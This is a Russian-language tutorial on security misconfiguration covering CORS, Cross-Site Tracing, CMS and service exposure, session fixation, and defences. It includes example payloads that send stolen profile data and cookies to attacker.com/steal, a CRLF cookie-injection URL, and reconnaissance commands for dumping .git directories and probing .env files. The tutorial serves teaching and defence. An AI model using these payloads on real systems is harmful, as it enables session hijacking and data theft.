Security Misconfiguration — это неправильные настройки приложения, сервиса, фреймворка, базы данных или инфраструктуры, которые могут привести к утечке конфиденциальных данных или полной компрометации системы. Эта категория уязвимостей стабильно входит в OWASP Top 10 и остается одной из самых распространенных проблем безопасности.
Небезопасная конфигурация часто возникает, когда:
- Параметры безопасности остаются с дефолтными значениями
- Настройки выполнены поверхностно или некорректно
- Отсутствует процесс регулярного аудита конфигураций
- Не проводится проверка после обновлений (которые могут изменить параметры)
Распространенные ошибки конфигурации
Учетные данные и доступ
- Учетные записи с дефолтными credentials (admin/admin, root/toor)
- Незакрытые тестовые аккаунты
- Включенные гостевые или анонимные доступы
- Отсутствие политики ротации паролей
- Хранение credentials в открытом виде в конфигурационных файлах
Конфигурационные файлы
- Неверно настроенные веб-серверы (web.config, .htaccess, nginx.conf)
- Доступные для чтения конфигурационные файлы (.env, config.php, application.properties)
- Наличие резервных копий конфигов (.bak, .old, .swp)
- Оставленные установочные файлы и скрипты
- Раскрытие информации через комментарии в коде
Сервисы и компоненты
- Запущенные ненужные службы и открытые порты
- Использование устаревших версий ПО без патчей безопасности
- Неактуальные CMS, плагины, библиотеки с известными уязвимостями
- Debug-режим на production-среде
- Verbose error messages с раскрытием внутренней структуры
Права доступа
- Неправильно настроенные permissions на файлы и директории
- Листинг директорий (directory listing)
- Доступ к sensitive-файлам (.git, .svn, backup-файлы)
- Чрезмерные привилегии у сервисных аккаунтов
Небезопасный CORS
Что такое CORS?
Cross-Origin Resource Sharing (CORS) — механизм, позволяющий веб-странице запрашивать ресурсы с другого домена в обход Same-Origin Policy. CORS использует HTTP-заголовки для управления междоменными запросами.
Основные заголовки CORS
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Распространенные ошибки CORS
1. Разрешение любого домена
Опасная конфигурация:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Эта комбинация позволяет любому сайту выполнять аутентифицированные запросы к вашему API.
2. Отражение Origin без валидации
Опасный код:
// Сервер просто отражает значение Origin из запроса
const origin = request.headers.origin;
response.setHeader('Access-Control-Allow-Origin', origin);
response.setHeader('Access-Control-Allow-Credentials', 'true');
3. Слабая валидация Origin
Проблемный пример:
// Проверка на наличие подстроки вместо точного совпадения
if (origin.includes('example.com')) {
response.setHeader('Access-Control-Allow-Origin', origin);
}
// Атакующий может использовать evil-example.com или example.com.attacker.com
Эксплуатация небезопасного CORS
Сценарий атаки:
- Жертва авторизована на
https://api.example.com - Атакующий заманивает жертву на свой сайт
https://attacker.com - На сайте атакующего выполняется JavaScript:
fetch('https://api.example.com/user/profile', {
credentials: 'include' // Отправляет cookies жертвы
})
.then(response => response.json())
.then(data => {
// Отправляем украденные данные атакующему
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
- Если CORS настроен неправильно, запрос выполнится с cookies жертвы
Защита от CORS-уязвимостей
- Используйте whitelist конкретных доменов:
const allowedOrigins = ['https://app.example.com', 'https://mobile.example.com'];
if (allowedOrigins.includes(origin)) {
response.setHeader('Access-Control-Allow-Origin', origin);
}
-
Проверяйте Origin на точное совпадение, не используйте регулярные выражения или includes()
-
Избегайте динамического отражения Origin без валидации
-
Не используйте
Access-Control-Allow-Origin: *сAccess-Control-Allow-Credentials: true
Тестирование CORS
Инструменты:
# CORStest - автоматический сканер
git clone https://github.com/RUB-NDS/CORStest.git
python corstest.py -u https://example.com
# Ручное тестирование с curl
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
-X OPTIONS https://api.example.com/endpoint -v
Cross-Site Tracing (XST)
Описание
XST — атака, комбинирующая XSS с HTTP-методом TRACE/TRACK для обхода защиты HttpOnly на cookies.
Принцип работы
- HTTP-метод TRACE возвращает полученный запрос обратно клиенту
- В ответе содержатся все заголовки, включая Cookie
- Через XSS можно выполнить TRACE-запрос и получить cookies, недоступные через JavaScript
Пример эксплуатации:
// XSS-payload
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'https://vulnerable-site.com/', true);
xhr.onload = function() {
// В responseText будут cookies, включая HttpOnly
fetch('https://attacker.com/steal?data=' + btoa(xhr.responseText));
};
xhr.send();
Обнаружение
# Проверка доступности TRACE
nmap -p 80,443 --script http-methods target.com
# Curl
curl -X TRACE https://target.com -v
# Положительный результат:
HTTP/1.1 200 OK
TRACE / HTTP/1.1
Host: target.com
Cookie: session=abc123; HttpOnly
Защита
- Отключите методы TRACE/TRACK на веб-сервере:
Apache (httpd.conf):
TraceEnable off
Nginx (nginx.conf):
if ($request_method ~* ^(TRACE|TRACK)$) {
return 405;
}
IIS (web.config):
<system.webServer>
<security>
<requestFiltering>
<verbs>
<add verb="TRACE" allowed="false" />
<add verb="TRACK" allowed="false" />
</verbs>
</requestFiltering>
</security>
</system.webServer>
Misconfiguration в CMS
Распространенные проблемы
-
Оставленные установочные файлы:
/install.php,/setup.php/wp-admin/install.php(WordPress)/install/директории
-
Раскрытие версии и структуры:
/readme.html,/changelog.txt- Meta-теги с версиями
- Специфичные пути плагинов
-
Доступные backup и временные файлы:
config.php.bak,database.sql.old~,.swp,.swoфайлы.git,.svn,.envдиректории
-
Debug-режим:
// WordPress wp-config.php define('WP_DEBUG', true); // Раскрывает пути и ошибки // Laravel .env APP_DEBUG=true // Выводит стек трейсы
Примеры эксплуатации
Чтение .git директории:
# GitDumper
git clone https://github.com/arthaud/git-dumper.git
python3 git-dumper.py https://target.com/.git/ output/
# GitHacker
githacker --url https://target.com/.git/ --folder output/
Поиск sensitive-файлов:
# ffuf
ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt \
-mc 200 -fc 404 -e .bak,.old,.txt,.sql,.zip
# Common paths to check
/.env
/config.php
/.git/config
/web.config
/.htaccess
/phpinfo.php
/admin/
/backup/
/db.sql
Защита
- Удалите все установочные файлы после установки
- Запретите доступ к sensitive-директориям через веб-сервер
- Отключите листинг директорий
- Регулярно обновляйте CMS и плагины
- Используйте WAF для блокировки известных путей
- Настройте proper file permissions (644 для файлов, 755 для директорий)
Misconfiguration в сетевых сервисах
FTP
Проблемы:
- Анонимный доступ:
anonymous:anonymous@ftp.example.com - Возможность загрузки файлов в web-root
- Незашифрованная передача данных (FTP вместо SFTP/FTPS)
Проверка:
# Anonymous доступ
ftp ftp.example.com
# Username: anonymous
# Password: anonymous
# Nmap
nmap -p 21 --script ftp-anon target.com
SMB/SAMBA
Проблемы:
- Гостевой доступ без аутентификации
- Readable/Writable shares для всех
- Устаревшие версии протокола (SMBv1)
Проверка:
# enum4linux
enum4linux -a target.com
# smbclient
smbclient -N -L \\\\target.com
# Nmap
nmap -p 445 --script smb-enum-shares target.com
SSH
Проблемы:
- Разрешен root-логин
- Password authentication вместо key-based
- Устаревшие cipher suites
- Дефолтный порт 22
Проверка и защита:
# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
Port 2222
Protocol 2
MongoDB, Redis, Elasticsearch
Проблемы:
- Биндинг на 0.0.0.0 вместо localhost
- Отсутствие аутентификации
- Доступность из интернета
Проверка:
# MongoDB
mongo --host target.com --port 27017
show dbs
# Redis
redis-cli -h target.com
INFO
# Elasticsearch
curl http://target.com:9200/_cat/indices
Session Fixation
Описание атаки
Session Fixation — атака, при которой злоумышленник навязывает жертве известный ему session ID, а затем использует его для hijacking сессии после авторизации жертвы.
Сценарий атаки
-
Получение SID:
- Атакующий получает валидный session ID от сервера
- Или использует предсказуемый/контролируемый ID
-
Навязывание SID жертве:
https://bank.com/login?PHPSESSID=attacker-controlled-id Или через Set-Cookie injection: https://bank.com/%0d%0aSet-Cookie:%20PHPSESSID=malicious-id -
Жертва авторизуется с этим session ID
-
Атакующий использует тот же SID для доступа к аккаунту жертвы
Условия для успешной атаки
- Приложение принимает session ID из GET/POST параметров
- Session ID не регенерируется после авторизации
- Отсутствует валидация источника сессии
Защита от Session Fixation
- Регенерация Session ID после login:
// PHP
session_start();
if ($user_authenticated) {
session_regenerate_id(true); // true = удалить старую сессию
}
// Node.js (Express)
app.post('/login', (req, res) => {
if (authenticateUser(req.body)) {
req.session.regenerate((err) => {
req.session.user = req.body.username;
});
}
});
-
Не принимайте session ID из URL (используйте только cookies)
-
Валидируйте сессию по IP, User-Agent (с осторожностью для мобильных)
-
Используйте secure flags для cookies:
Set-Cookie: SESSIONID=value; HttpOnly; Secure; SameSite=Strict
- Добавьте дополнительную проверку при критичных операциях
Чеклист тестирования Security Misconfiguration
Информационное раскрытие
- Проверить HTTP-заголовки (Server, X-Powered-By, X-AspNet-Version)
- Искать комментарии в HTML/JS исходниках
- Проверить страницы ошибок на verbose information
- Найти файлы с версиями (readme.txt, changelog.md)
- Проверить robots.txt, sitemap.xml на раскрытие путей
Конфигурационные файлы
- Поиск .git, .svn, .env, .DS_Store
- Проверка backup-файлов (.bak, .old, .zip, .tar.gz)
- Доступность конфигов (web.config, .htaccess, phpinfo.php)
- Temporary files (.swp, .swo, ~)
HTTP Security Headers
- Content-Security-Policy
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Permissions-Policy (Feature-Policy)
- Referrer-Policy
CORS
- Проверить Access-Control-Allow-Origin на wildcard (*)
- Тестировать reflection произвольного Origin
- Проверить комбинацию credentials + origin
- Протестировать null origin
HTTP Methods
- Проверить доступные методы (OPTIONS)
- Тестировать TRACE/TRACK
- PUT/DELETE на возможность изменения файлов
- Arbitrary methods (JEFF, PROPFIND)
Default Credentials
- Тестовые аккаунты (test/test, demo/demo)
- Admin панели (admin/admin, administrator/password)
- Специфичные для приложения defaults
- Документация производителя на default credentials
Сервисы
- FTP anonymous access
- SMB guest access
- Database без аутентификации
- Открытые management interfaces
- API без rate limiting
Session Management
- Session fixation
- Регенерация session ID после login
- Secure флаги на cookies
- Session timeout
- Logout функциональность
Инструменты для обнаружения Misconfiguration
Автоматические сканеры
# Nikto - веб-сканер
nikto -h https://target.com
# Nuclei - template-based scanner
nuclei -u https://target.com -t exposures/ -t misconfiguration/
# Nmap NSE скрипты
nmap -sV --script=http-enum,http-methods,http-php-version target.com
# testssl.sh - SSL/TLS проверка
./testssl.sh https://target.com
Специализированные инструменты
# CORS testing
git clone https://github.com/s0md3v/Corsy.git
python3 corsy.py -u https://target.com
# Git repository finder
python3 GitDumper.py https://target.com/.git/ output/
# Directory fuzzing
ffuf -u https://target.com/FUZZ -w wordlist.txt
# Security headers check
curl -I https://target.com | grep -i "x-\|content-security\|strict-transport"
Ручные проверки
# HTTP methods
curl -X OPTIONS https://target.com -v
# TRACE method
curl -X TRACE https://target.com -v
# Server headers
curl -I https://target.com
# SSL/TLS configuration
openssl s_client -connect target.com:443 -tls1_2
Best Practices
- Принцип минимальных привилегий — предоставляйте только необходимые права
- Defense in depth — используйте несколько уровней защиты
- Безопасность по умолчанию — deny by default, allow by exception
- Регулярные аудиты конфигураций и обновления
- Автоматизация проверок безопасности в CI/CD
- Документирование всех отклонений от стандартных конфигураций
- Мониторинг изменений конфигураций
- Обучение команды secure configuration practices
Полезные ресурсы
- OWASP Security Misconfiguration
- Mozilla Web Security Guidelines
- CIS Benchmarks
- SecurityHeaders.com - проверка HTTP заголовков
- SSL Labs - тестирование SSL/TLS
- CORS Documentation (MDN)
Важно: Security Misconfiguration — это не столько вектор атаки, сколько следствие человеческого фактора. Каждый случай уникален и требует внимательного изучения документации, тестирования default-настроек и понимания архитектуры приложения.